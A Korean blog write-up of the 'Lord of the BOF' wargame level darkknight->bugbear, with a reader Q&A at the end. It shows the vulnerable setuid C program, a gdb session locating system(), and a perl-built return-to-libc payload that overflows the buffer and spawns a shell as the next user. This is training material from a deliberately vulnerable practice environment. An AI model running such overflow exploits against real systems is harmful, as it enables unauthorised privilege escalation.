허헣
rtl풀리니까 기분좋네여. 좀 처음에 헤매긴 했는데 잘되서 기분좋습니다!
login: darkknight
Password:
Last login: Sun Mar 16 07:20:14 from 192.168.10.1
[darkknight@localhost darkknight]$ ls -al
total 44
drwx------ 2 darkknig darkknig 4096 Mar 29 2010 .
drwxr-xr-x 25 root root 4096 Mar 30 2010 ..
-rw-r--r-- 1 darkknig darkknig 24 Mar 2 2010 .bash_logout
-rw-r--r-- 1 darkknig darkknig 230 Mar 2 2010 .bash_profile
-rw-r--r-- 1 darkknig darkknig 124 Mar 2 2010 .bashrc
-rwxr-xr-x 1 darkknig darkknig 333 Mar 2 2010 .emacs
-rw-r--r-- 1 darkknig darkknig 3394 Mar 2 2010 .screenrc
-rwsr-sr-x 1 bugbear bugbear 12043 Mar 8 2010 bugbear
-rw-r--r-- 1 root root 385 Mar 29 2010 bugbear.c
[darkknight@localhost darkknight]$ cat bugbear.c
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf') //이젠 아예 0xbf~주소를 못쓰게 됩니다.
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
[darkknight@localhost darkknight]$ cp bugbear bugbeer
[darkknight@localhost darkknight]$ ./bugbeer `perl -e 'print "\x90"x48'`
Segmentation fault (core dumped)
[darkknight@localhost darkknight]$ gdb -q bugbeer core
Core was generated by `./bugbeer '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x90909090 in ?? ()
(gdb) b main
Breakpoint 1 at 0x8048436
(gdb) r
Starting program: /home/darkknight/bugbeer
Breakpoint 1, 0x8048436 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) q
The program is running. Exit anyway? (y or n) y
[darkknight@localhost darkknight]$ payload= nopx44, system, dummy, argument
bash: nopx44,: command not found
[darkknight@localhost darkknight]$ ./bugbeer `perl -e 'print "\x90"x44, "\xe0\x8a\x05\x40", "AAAA", "BBBB"'`
@AAAABBBB
Segmentation fault (core dumped)
[darkknight@localhost darkknight]$ export ARG=`perl -e 'print "\x90"x10, "/bin/sh"'`
[darkknight@localhost darkknight]$ ./env ARG
ARG: 0xbffffc9d
[darkknight@localhost darkknight]$ ./bugbeer `perl -e 'print "\x90"x44, "\xe0\x8a\x05\x40", "AAAA", "\x9d\xfc\xff\xbf"'`
@AAAAü ¿
sh: /bin/sh: No such file or directory
Segmentation fault (core dumped)
[darkknight@localhost darkknight]$ ./bugbeer `perl -e 'print "\x90"x44, "\xe0\x8a\x05\x40", "AAAA", "\x9e\xfc\xff\xbf"'`
@AAAAü ¿
sh: /bin/sh: No such file or directory
Segmentation fault (core dumped) //쵸콤 게싱....해써요..ㅋ
[darkknight@localhost darkknight]$ ./bugbeer `perl -e 'print "\x90"x44, "\xe0\x8a\x05\x40", "AAAA", "\x9f\xfc\xff\xbf"'`
@AAAAü ¿
bash$ exit
exit
Segmentation fault (core dumped)
[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "\x90"x44, "\xe0\x8a\x05\x40", "AAAA", "\x9f\xfc\xff\xbf"'`
@AAAAü ¿
bash$ my-pass
euid = 513
와앙ㅇ와앎ㄴㅇㄹㅁㅇㄴㄹㅋㅋ
'STUDY > Lord of the BOF' 카테고리의 다른 글
giant->assassin (0) | 2014.04.22 |
---|---|
bugbear->giant(1) (0) | 2014.04.16 |
darkknight->bugbear (2) | 2014.04.07 |
golem->darkknight (0) | 2014.04.06 |
skeleton->golem (5) | 2014.03.17 |
vampire->skeleton (2) | 2014.02.25 |
-
안녕하세요? 2015.08.02 22:18
이 댓글을 보실련지는 잘 모르겠지만 질문하나만 해도 될까요?
환경변수를 설정할때 NOP를 넣으면 system함수가 NOP를 실행해 system("NOP") 이렇게 되지 않을까요?
그리고 다른 RTL강좌에서 export shell=/bin/sh 하고
#include <stdio.h>
int main(){
printf("%x \x",getenv("shell");
} 이렇게 하셔서 /bin/sh의 주소를 구하고 구한주소를 공격코드에 넣으셔서 쉘을 따시던데
제가 그대로 해보았는데 전 안따지더라구요.. 이유를 모르겠습니다..
-
안녕하세여, 늦은 댓글 죄송합니다. 요즘 바빠서..
system("NOP")라 함은 글자 자체를 말씀하시는건가요,, 그렇다면 NOP이 NOP명령이 아닌 아스키코드로 들어가기 때문에 안될 거에요.
그리고... 그 소스로 구한 주소에도 오차가 좀 있기 때문에 덤프를 딴 후 gdb로 열어서 그 주소에서 x/10s 주소 하셔서 제대로 들어있나 확인 후 환경변수가 들어가있는 곳에 따라 주소를 조정해주시는게 좋습니다. 아니면 아마 NOP를 엄청 열어서 아무 주소나 찍어도 될거에요.
제가 시스템해낑을 안한지 1년정도 되서 확실치는 않아갖고.. 죄송하빈다.
-